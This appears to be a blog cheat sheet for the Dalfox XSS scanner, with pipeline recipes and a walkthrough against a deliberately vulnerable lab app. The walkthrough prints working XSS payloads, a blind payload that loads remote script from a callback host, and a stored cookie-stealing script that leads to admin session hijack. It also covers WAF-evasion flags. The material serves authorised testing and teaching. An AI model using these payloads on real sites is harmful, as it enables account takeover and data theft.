TechEarl

Dalfox Cheat Sheet: Every Flag I Actually Use

A field-tested Dalfox v3 reference: target specification, detection tuning, parameter mining, blind XSS callbacks, evasion, pipeline patterns, and output shaping, plus a full walkthrough against a vulnerable lab app. Updated for the v3 Rust rewrite that consolidates everything under `dalfox scan`.

Ishan Karunaratne⏱️ 10 min readUpdated
Share thisCopied
Practical Dalfox v3 reference by task: targeting, parameter mining, blind XSS, evasion, pipeline integration with kxss and waybackurls, output formats.

Quick reference

Dalfox v3 Command Reference

Every flag organised by task. Copy and adapt.

Target specification (v3: everything is `dalfox scan`)

dalfox scan 'https://target.example/q?s=test'Single URL. Auto-detected as URL input. Tests every query parameter unless --param restricts.
dalfox scan urls.txtFile input. One URL per line. Auto-detected when the argument is a readable file.
cat urls.txt | dalfox scanPipe input. Auto-detected when stdin is piped. The mode you will use most in pipelines (kxss, gau, waybackurls).
dalfox scan -i raw-http req.txtRaw HTTP request file. v3 selects mode via `-i raw-http`; the file holds method, headers, cookies, body.
dalfox scan url --sxss --sxss-url 'https://target.example/view'Stored XSS. v3 replaces v2's `sxss` subcommand with `--sxss` plus `--sxss-url` on a regular scan.
dalfox serverREST API server (separate subcommand). Default port 6664, bound to 127.0.0.1.
-X POSTHTTP method override. Default GET.
-d 'username=foo&password=bar'Request body. Pair with `-X POST` if the captured request is POST.
-p 'name:query'Restrict to specific parameter. v3 supports a `name:location` form; locations are query, body, json, cookie, header.
--ignore-param 'csrf_token,_token'Skip anti-CSRF noise parameters.

Detection tuning

--workers 50Concurrent workers per target. Default 50 in v3.
--delay 200Milliseconds between requests. Default 0. Use against rate-limited or fragile targets.
--timeout 10Per-request timeout in seconds. Default 10. Does not bound total scan time.
--scan-timeout 600Hard wall-clock cap per target for the scan stage, in seconds. 0 disables (the default). Use it on partially-hung endpoints.
--skip-discoverySkip all discovery; only test the parameters explicitly present in the URL.
--skip-miningSkip all parameter mining (dict + DOM).
--skip-mining-dictSkip dictionary-based parameter mining only.
--skip-mining-domSkip DOM-based parameter mining only.
--skip-xss-scanningRun only discovery, no XSS payloads. Useful for inventory.
--only-discoveryStop after discovery. Inverse intent to `--skip-xss-scanning`.
--skip-ast-analysisSkip AST-based DOM-XSS analysis. Faster but loses sink detection on JS-heavy pages.

Parameter mining and discovery

-W words.txtMining dictionary wordlist file (`--mining-dict-word`). v3 short form `-W`.
--remote-wordlists 'burp,assetnote'Pull mining wordlists from named remote sources.
--remote-payloads 'portswigger,payloadbox'Pull payloads from the named remote sources. Adds variety beyond the built-ins.
-H 'X-Forwarded-For: 127.0.0.1'Add custom header (repeatable). Dalfox also probes for header-injection points.
--cookies 'session=abc'Add cookies (repeatable). Separate from `-H Cookie:`.
--skip-reflection-headerSkip header-based reflection checks.
--skip-reflection-cookieSkip cookie-based reflection checks.
--skip-reflection-pathSkip path-based reflection checks.

Payload and reflection control

--custom-payload payloads.txtAppend your own payloads to the built-in set. One per line.
--only-custom-payloadUse ONLY the custom payload file. Disables the built-in payloads entirely.
--custom-alert-value 1337Replace the default alert value (1). Helps disambiguate findings in shared labs.
--custom-alert-type strAlert value type. `none` (default) or `str`.
--encoders 'url,html'Comma-separated encoders. Default `url,html`. Short form `-e`.
--inject-marker FUZZReplace this token in the URL/body with payloads. Useful when the injection point is non-standard.
--ignore-return '302,403,404'HTTP status codes to skip. Cuts false positives on hard-fail endpoints.
--follow-redirectsFollow 3xx redirects (`-F`). Default off.
--hppHTTP Parameter Pollution mode. Submits duplicate params to test the back-end's pick.
--deep-scanKeep testing additional payloads after first finding. Slower, better coverage.

Blind XSS

-b 'https://xss.example/c/abcd'Blind XSS callback URL. Every payload also fires a script that beacons this endpoint.
-b 'https://your.interactsh-server.com'interactsh as the blind listener. The standard pairing for OOB XSS.
--custom-blind-xss-payload tpl.htmlCustom blind payload template file (v3). Use it to ship a richer callback than the default beacon.
--skip-xss-scanning -b 'https://...'Stored/blind-only run: skip reflection probing, only fire blind payloads against the input.

Stored XSS (replaces v2 `sxss` subcommand)

--sxssEnable Stored XSS mode on a `scan` run.
--sxss-url 'https://target.example/view'Retrieval URL. Dalfox sends payloads to the target, then checks for reflection here.
--sxss-method GETRetrieval method. Default GET.
--sxss-retries 3How many times to retry the retrieval URL when fetching stored output. Default 3.

Auth, cookies, proxy

--cookies 'session=abc'Send cookies (repeatable). Required for any authenticated endpoint.
--cookie-from-raw cookies.txtLoad cookies from a raw HTTP request file.
-H 'Authorization: Bearer eyJ...'Single header (repeatable). Cleaner than packing auth into a request file.
--user-agent 'Mozilla/5.0 ...'Override default UA. The Dalfox default is signatured by some WAFs.
--proxy 'http://127.0.0.1:8080'Route through a proxy. `http://` and `socks5://` both supported.

Output and reporting

-o results.txtWrite output to a file (`--output`). Format depends on `--format`.
-f jsonOutput format (`--format`). Default `plain`. Other options: `jsonl`, `markdown`, `sarif`, `toml`.
-f jsonlJSON Lines. One finding per line. Best for streaming into a pipeline.
--silenceSuppress banner and progress; only emit findings (`-S`). Required for clean pipeline output.
--no-colorDisable ANSI colour. Use when piping to a file or another tool.
--include-requestInclude the HTTP request in the output per finding.
--include-responseInclude the response body in the output per finding.
--include-allShorthand for both include flags.
--poc-type curlRender PoC as. `plain` (default), `curl`, `httpie`, or `http-request`.
--stream-findingsEmit each finding the moment it is verified (plain format only).
--dry-runDiscover and plan without sending payloads. Useful for scope confirmation.

Pipeline patterns

kxss < urls.txt | dalfox scan --silencePre-filter with kxss (reflection check), then scan only the reflecting endpoints. Saves hours on large scopes.
gau target.example | dalfox scan --silencePull historical URLs from gau (Wayback, Common Crawl, OTX), pipe straight into Dalfox.
waybackurls target.example | dalfox scan --silenceSame idea, waybackurls source.
subfinder -d target.example | httpx -silent | gau | dalfox scan --silenceFull recon-to-XSS chain in one line. Subdomains, live hosts, historical URLs, then scan.
katana -u target.example -silent | dalfox scan --silenceLive-crawled URLs from katana into Dalfox. Better coverage of modern SPAs than Wayback alone.

WAF, scope, evasion

--waf-bypass autoWAF handling. `auto` (default), `force`, or `off`.
--waf-evasionAuto-throttle on WAF detection (workers=1, delay=3000ms). First knob to turn when a target is filtering naive payloads.
--waf-min-confidence 0.3Drop WAF fingerprints below this confidence. Default 0.3 suppresses weak matches. 1.0 keeps only high-confidence hits.
--skip-waf-probeSkip active WAF fingerprinting. Useful when you have already classified the target.
--force-waf cloudflareForce a named WAF profile when `--waf-bypass force` is set.
--include-url 'https?://target\.example/.*'Regex scope: only scan URLs matching this pattern.
--exclude-url '/logout|/api/internal'Regex scope: never scan URLs matching this pattern.
--out-of-scope-file oos.txtWildcard domain patterns to skip, one per line.
--max-concurrent-targets 50Global concurrent targets. Default 50.
--max-targets-per-host 100Per-host cap. Default 100.

Debug, payload, mcp, update

--debugVerbose debug output (global flag). Use when a finding looks wrong or the scan terminates early.
dalfox payload event-handlersPrint built-in payload collection: event-handlers, useful-tags, uri-scheme, portswigger, payloadbox.
dalfox mcpRun as a Model Context Protocol stdio server. For integration into agentic toolchains.
--limit 50 --only-poc vCap results shown. `--only-poc` filter accepts `v`, `r`, `a` (verified, reflected, all).
--max-payloads-per-param 100Cap payloads tested per parameter. 0 (default) means no cap.
-VPrint version (`--version`). Worth pinning in CI so reports are auditable.

dalfox is the XSS scanner I reach for first. It is fast, scriptable, and reads from stdin which makes it slot cleanly into a recon pipeline. This is the field reference for the flags that matter, grouped by the task I am trying to accomplish.

Heads-up on v3. Dalfox v3.0.0 (released 2026-05-25) is a complete Rust rewrite. The Go v2 codebase is preserved on the v2 branch for security backports. The most visible change: v2's url, file, pipe, sxss, and server subcommands are gone. v3 has four subcommands (scan, server, payload, mcp) and scan auto-detects the input shape (URL, file, stdin, raw HTTP). Every example below uses the v3 surface.

If you are new to Dalfox, the walkthrough against a vulnerable lab app further down this page is the right next stop. If you are comparing tools, the best XSS tools list for 2026 covers the alternatives. For the underlying mechanics, the cross-site scripting deep dive has the full taxonomy, with separate writeups on reflected XSS and DOM-based XSS.

What a raw HTTP request file looks like

req.txt is a raw HTTP request: method line, headers, blank line, body. When the endpoint needs auth, custom headers, or a non-trivial POST body, -i raw-http req.txt is faster than packing every flag manually. Here is what it actually looks like:

code
GET /search?q=test HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiJ9...; PHPSESSID=q9k2...
Connection: close

POST requests look the same with the method and body added:

code
POST /comment HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
Cookie: PHPSESSID=q9k2...
Connection: close

body=hello&author=me

Dalfox tests every parameter it finds in the request unless you restrict with --param. No special markers required.

Capturing it from Chrome or Firefox

  1. Open DevTools (F12 on Windows/Linux, Cmd+Option+I on macOS), Network tab, enable Preserve log.
  2. Trigger the target request in the page.
  3. Right-click the request, Copy as cURL. Paste into a converter (curlconverter --language http <command> from npm) to get raw HTTP, or hand-translate: -H "Foo: bar" becomes a header line, --data 'x=y' becomes the body.
  4. Save as req.txt. Use with dalfox scan -i raw-http req.txt in every example below.

Workflow templates

A few command lines I use as starting points and adapt from.

Try it with your own values

Tune the common flags once. Every command below reads from this. Out-of-range values get a red border. The Googlebot UA usually gets you hard-blocked faster than the default; pick it only when you know the target trusts crawlers.

Simplest possible probe, just a URL with a query string. Good for a first sanity check:

bash
dalfox scan ':target_url' --workers :workers --delay :delay --timeout :timeout --user-agent ':ua'

POST request with form data, no req.txt needed:

bash
dalfox scan 'https://target.example/comment' \
     -X POST -d 'body=hello&author=me' \
     --workers :workers --delay :delay --user-agent ':ua'

Captured request, light touch, see if anything reflects:

bash
dalfox scan -i raw-http req.txt --workers :workers --delay :delay --timeout :timeout

Authenticated, scoped to specific parameters:

bash
dalfox scan -i raw-http req.txt -p 'q:query' -p 'filter:query' \
     --workers :workers --delay :delay \
     --skip-mining --user-agent ':ua'

Behind a WAF, slow and quiet:

bash
dalfox scan -i raw-http req.txt --workers 5 --delay 500 --waf-evasion \
     --custom-payload evasion.txt --user-agent ':ua'

Blind XSS run with an interactsh callback:

bash
dalfox scan -i raw-http req.txt -b ':blind' \
     --workers :workers --delay :delay --user-agent ':ua'

The pipeline I use most, kxss as a reflection pre-filter so Dalfox only spends payload budget on endpoints that actually echo input:

bash
echo target.example | gau | kxss | awk '{print $NF}' \
  | dalfox scan --silence -f jsonl -o findings.jsonl

Full recon chain from a single root domain to confirmed XSS, end to end:

bash
subfinder -d target.example -silent \
  | httpx -silent \
  | katana -silent \
  | dalfox scan --silence -f jsonl -o findings.jsonl

Stored XSS workflow: send payloads to the profile endpoint, check for reflection on the public view page (v3 replaces dalfox sxss with --sxss):

bash
dalfox scan 'https://target.example/profile/edit' \
     --sxss --sxss-url 'https://target.example/profile/view' \
     --cookies 'session=abc' \
     --workers :workers --delay :delay

--silence and -f jsonl are the two flags that matter most for pipeline use. Without them, banner noise and progress spinners corrupt the output stream.

v2 → v3 migration cheat sheet

If you have v2 muscle memory, the most common substitutions:

v2v3
dalfox url URLdalfox scan URL
dalfox file urls.txtdalfox scan urls.txt
dalfox pipedalfox scan (stdin auto-detected)
dalfox sxss URL --trigger Tdalfox scan URL --sxss --sxss-url T
-r req.txt-i raw-http req.txt
-w 100--workers 100
-C 'cookie'--cookies 'cookie'
--method=POST-X POST
--format=json-f json
--skip-mining-all--skip-mining
--skip-bav(removed; BAV is no longer a separate scan stage in v3)
--mining-dict-word=w.txt-W w.txt

Walkthrough: exploiting a vulnerable lab app

The flags above read better once you have watched Dalfox run a full chain: a reflected hit, a DOM hit, a stored payload that fires in another user's session, a blind callback, and a working cookie-theft proof of concept against an admin account. Every output below was produced against techearl-labs/cross-site-scripting/xss-basic with Dalfox v3. The endpoints, sinks, and demo accounts are deterministic; request counts, the exact PoC byte encoding, the interactsh subdomain, and timestamps vary by environment. Run it only against your own lab or a target you are authorised to test.

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up xss-basic

It listens on http://localhost:8081 with three rendering sinks and a session cookie set without HttpOnly on purpose:

EndpointMethodSinkType
/search.php?q=...GETq reflected into <h2>Results for: ...</h2> unescapedReflected
/guestbook.php (body field)POSTcomment body stored, rendered raw on /, /guestbook.php, /admin.phpStored
/share.php#...GETfragment read by inline JS, written via innerHTMLDOM
/login.phpPOSTsets session_id cookie without HttpOnlyCookie chain

Demo accounts: admin / admin123, alice / alice123, bob / bob123. The guestbook requires login; everything else fires unauthenticated.

Confirm the sinks by hand

One curl per sink keeps you honest before Dalfox sees anything:

bash
curl -s 'http://localhost:8081/search.php?q=<x>' | grep -o 'Results for: <x>'
curl -s 'http://localhost:8081/share.php' | grep -o 'location.hash'
curl -s -c jar.txt -b jar.txt -d 'username=alice&password=alice123' \
     http://localhost:8081/login.php -o /dev/null -w '%{http_code}\n'

If the first echoes Results for: <x> verbatim (not &lt;x&gt;), reflection is wired. If the second matches, the DOM sink reads location.hash. If the third returns 302, you have a session cookie in jar.txt for the stored step.

Reflected and DOM scans

v3 uses one subcommand for every input shape. Point scan at a single URL:

bash
dalfox scan 'http://localhost:8081/search.php?q=test'
code
[I] Found reflected param: q
[I] [param=q] reflected with no filter (HTML context)

[POC][R][http://localhost:8081/search.php?q=%3Cimg%2Fsrc%2Fonerror%3Dalert%2845%29%3E]
[POC][R][http://localhost:8081/search.php?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E]

[I] Finished scan. Total: 287 requests, 3 PoCs, elapsed 4.1s

The tag in the second bracket is Dalfox's finding tier. [R] (reflected) means the payload came back in the response but Dalfox did not confirm it fires in context, so you verify it yourself; [V] (vulnerable) means Dalfox judged the input exploitable; [I] (informational) is a non-XSS note such as a vulnerable JS library. DOM-based findings carry [A] (AST-detected): Dalfox's static JavaScript analyser (oxc) parses the inline script and reports the dataflow without a headless browser (the old chromedp/--deep-domxss/--use-bav path was removed). For the DOM sink:

bash
dalfox scan 'http://localhost:8081/share.php'
code
[POC][A][GET][DOM-XSS][http://localhost:8081/share.php#<img src=x onerror=alert(1)>]
[I] DOM sink: innerHTML <- location.hash (oxc, static)

Inline <script> tags are stripped by innerHTML per the HTML spec, so the event-handler form is what fires against this DOM-based XSS sink.

Piped input and captured requests

In a real engagement you have a few hundred URLs from a crawler, not one. scan reads a file path or piped stdin, auto-detecting the shape; -S (silent) strips progress chatter for CI:

bash
cat urls.txt | dalfox scan - -S --workers 16

For anything that needs a session cookie, POST body, or non-trivial headers, feed a captured request file. Sign in as alice, intercept the request to /guestbook.php, "Copy to file" as req.txt, then load it with -i raw-http (the v3 replacement for v2's -r):

bash
dalfox scan -i raw-http req.txt

Or supply the same shape with individual flags (note the v3 rename of -C/--cookie to --cookies):

bash
dalfox scan 'http://localhost:8081/guestbook.php' \
       --data 'body=hello' \
       --cookies 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
       --method POST

Stored XSS

Stored XSS is awkward because the payload goes in via one request and comes out on a different page. Anything that survives htmlspecialchars (it is not called here) executes verbatim on the next view of /guestbook.php, /, or /admin.php. A curl end-to-end proves it:

bash
curl -s -b 'session_id=...' \
     -d 'body=<script>alert(document.domain)</script>' \
     http://localhost:8081/guestbook.php

curl -s -b 'session_id=...' http://localhost:8081/guestbook.php \
     | grep -o '<script>alert(document.domain)</script>'

If the second grep matches, the payload is stored and rendered raw. v3 removed v2's --found-action, but the CLI still automates the post-then-check loop with its stored-XSS mode: --sxss marks the run as stored, and --sxss-url names the retrieval page(s) Dalfox re-fetches to confirm the payload surfaced (repeat the flag for several pages; --sxss-method and --sxss-retries tune how it polls):

bash
dalfox scan 'http://localhost:8081/guestbook.php' \
       --data 'body=PLACEHOLDER' \
       --cookies 'session_id=...' \
       --method POST \
       --sxss --sxss-url 'http://localhost:8081/admin.php'

Reserve the v3 REST API (dalfox server) for cases that genuinely need API orchestration, not for this.

Blind XSS with interactsh

Blind XSS is the variant that fires somewhere you cannot see (an admin dashboard, a support-ticket viewer). The model is "the payload calls home". Dalfox has two ways to do it. -b/--blind points the payload at a callback host you control, but Dalfox only fires it, it does not watch the host, so you confirm the hit yourself in interactsh-client. --blind-oob instead registers an interactsh endpoint and polls it (--blind-oob-wait sets the polling window), so Dalfox itself reports the callback as confirmed:

bash
dalfox scan 'http://localhost:8081/guestbook.php' \
       --data 'body=PLACEHOLDER' \
       --cookies 'session_id=...' \
       --method POST \
       --blind-oob

Dalfox posts a payload that loads a remote script:

html
<script src="//c8a1f0e2.oast.fun/x.js"></script>

Sign in as admin and load /admin.php. The browser fetches x.js, the interactsh callback fires, and because --blind-oob has Dalfox polling the OOB endpoint it flags the parameter as confirmed-blind. (With a bare -b <host> instead, the hit lands in your own interactsh-client and you confirm it there.)

The session cookie is set without HttpOnly, so document.cookie reads it from JS. Chain that with the stored sink. Start a listener, then post a comment as alice:

bash
python3 -m http.server 9000
html
<script>new Image().src='http://localhost:9000/c?'+document.cookie</script>

Sign out, sign in as admin, load /admin.php. The listener prints:

code
127.0.0.1 - - [27/May/2026 11:34:02] "GET /c?session_id=7e2a9b...redacted HTTP/1.1" 404 -

Replay that cookie (curl -b 'session_id=7e2a9b...' http://localhost:8081/admin.php) and the admin pages render under your control. The chain is stored sink plus missing HttpOnly plus admin viewing the page equals session hijack; full mechanics in XSS, stealing session cookies. The fix is two lines: set HttpOnly on the session cookie, and HTML-encode the guestbook body on output with htmlspecialchars($body, ENT_QUOTES, 'UTF-8'). Either one alone breaks the chain.

Structured output for CI

For report generation and CI, v3 writes structured output via -f (format) and -o (file). SARIF is the format GitHub Code Scanning and most enterprise scanners ingest natively:

bash
cat urls.txt | dalfox scan - -S \
       -f sarif -o results.sarif \
       --scan-timeout 600 --max-payloads-per-param 50

--dry-run runs a preflight without firing payloads, which is the right thing to wire into a PR check that fails fast on config mistakes before spending the scan budget.

Flags I almost never use

  • --config (the TOML/JSON config file) if you only scan ad-hoc targets. Useful when the same scope reappears weekly.
  • --include-request --include-response in fast scans; the output balloons quickly. Enable only when triaging a specific finding.
  • --only-discovery on its own; --skip-xss-scanning reads more clearly to anyone else reading the run script.

A note on responsible use

Every flag above is dual use. The same blind callback that catches an admin's session in your bug bounty target is the one I run against my own lab apps weekly. Use these against systems you own or are explicitly authorised to test. See the legal-framing notes in the cross-site scripting deep dive.

v3 (released 2026-05-25) is a complete Rust rewrite of the Go v2 codebase. The biggest user-visible change is the subcommand surface: v2's `url`, `file`, `pipe`, and `sxss` subcommands are gone, replaced by a single `scan` subcommand that auto-detects the input shape. Stored XSS moves from `dalfox sxss` to `dalfox scan --sxss --sxss-url`. Raw HTTP request files are loaded via `-i raw-http req.txt` instead of `-r req.txt`. New output formats (SARIF, TOML, Markdown), a `payload` subcommand for inspecting built-in collections, an `mcp` subcommand for Model Context Protocol integration, and finer-grained WAF controls (`--waf-min-confidence`, `--waf-bypass`) round out the changes. The Go v2 codebase is preserved on the `v2` branch for security backports.

Both. Reflected detection is the default. For DOM-based XSS, v3 ships an AST analysis engine that runs without spawning a browser; it can be disabled with --skip-ast-analysis when you want a faster reflected-only pass. For a confirmation against runtime DOM mutation you can layer a headless browser on top, but the default AST pass catches the typical sinks on its own.

Use the -b flag with your callback URL. The standard pairing is interactsh (free, self-hostable, part of the ProjectDiscovery toolchain) or XSSHunter (hosted, browser-rendering payloads). Dalfox appends a beacon script to every payload it fires; when one lands in a context that executes, you get a notification with the request details. Combine with --skip-xss-scanning -b for stored/blind-only runs against inputs you cannot directly observe, and reach for --custom-blind-xss-payload when you want a richer template than the default beacon.

Most common causes in v3: parameter mining is off (--skip-mining was set or the parameter is dynamically added by JavaScript and only the AST pass would catch it), the payload set does not cover your context (use --custom-payload with a payload that matches the sink), the reflection is filtered in a way the built-in WAF handling misses (try --waf-evasion combined with hand-tuned payloads), or the response code is on --ignore-return. Run with --debug to see which payloads Dalfox actually fired. If a parameter is reflected but no PoC fires, dump the response with curl and look at the exact bytes around the reflection: the payload may land inside a JSON blob the page later renders, inside an attribute with a non-standard quote style, or inside a JS string literal whose breakout needs a specific quote character. Then write a one-line custom payload for that context.

kxss is reflection-detection only, no payload generation, designed to feed Dalfox or XSStrike downstream. XSStrike has stronger context analysis and a smarter payload mutator for tricky filters, but is slower and single-threaded. Dalfox v3 is the fastest of the three on bulk scans, the only one with first-class pipe-mode, SARIF output, and a REST API for orchestration. In practice the pipeline I run is kxss to surface candidates, Dalfox for bulk scanning, XSStrike for the handful of stubborn parameters Dalfox cannot crack.

The techearl-labs xss-basic container binds to 127.0.0.1 by default, runs in an isolated Docker network, and contains no real data. The intentional gaps (missing HttpOnly, no output encoding, no Content-Security-Policy) only matter inside the container. Do not expose port 8081 to a public interface. The vulnerabilities are real and an internet-reachable copy will get found by opportunistic scanners within hours.

Sources

Authoritative references this article was fact-checked against.

TagsDalfoxXSSCheat SheetPenetration TestingSecurityCross-Site ScriptingDocker

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Systems and Network Architect · Chief Technology Officer

Systems and network architect and Chief Technology Officer with more than two decades designing, building, and running production software, cloud and network architecture, Linux systems, and the bare metal underneath them, and lately working AI into the stack. A US Army veteran who served in Operation Iraqi Freedom. What I write here is drawn from the full arc of that work, across architecture, engineering, and operations, not any single job.

Keep reading

Related posts

Practical sqlmap reference by task (targeting, enumeration, dumping, OS shell), plus an end-to-end lab walkthrough, WAF bypass, and Tor routing.

sqlmap Cheat Sheet: Every Flag I Actually Use

A field-tested sqlmap reference by task (targeting, fingerprinting, enumeration, dumping, file access, OS shell, evasion, tamper scripts), plus an end-to-end walkthrough against a vulnerable lab app, WAF bypass tactics, and how to route sqlmap through Tor and proxychains without leaking.

Practical commix reference by task: targeting, detection, tamper scripts, enumeration, OS shells, file read/write, evasion for command injection.

commix Cheat Sheet: Every Flag I Actually Use for OS Command Injection

A field-tested commix reference for OS command injection: targeting, request shaping, detection techniques, tamper scripts, enumeration, shell options, file operations, and evasion, plus a full walkthrough against a vulnerable lab app that ends in a shell and the argument-injection variant that slips past escapeshellcmd.

docker run cheat sheet: every flag by job, core Docker commands, and run recipes for MySQL, MariaDB, PostgreSQL, Redis, Nginx, PHP, WordPress and more.

docker run Cheat Sheet: Flags and Common Patterns

Every docker run flag I actually use, grouped by job, the rest of the Docker CLI on one cheat sheet, and copy-paste recipes for Nginx, Apache, PHP, MySQL, MariaDB, PostgreSQL, MongoDB, Redis, Elasticsearch, MinIO, WordPress, Adminer and a plain Linux shell.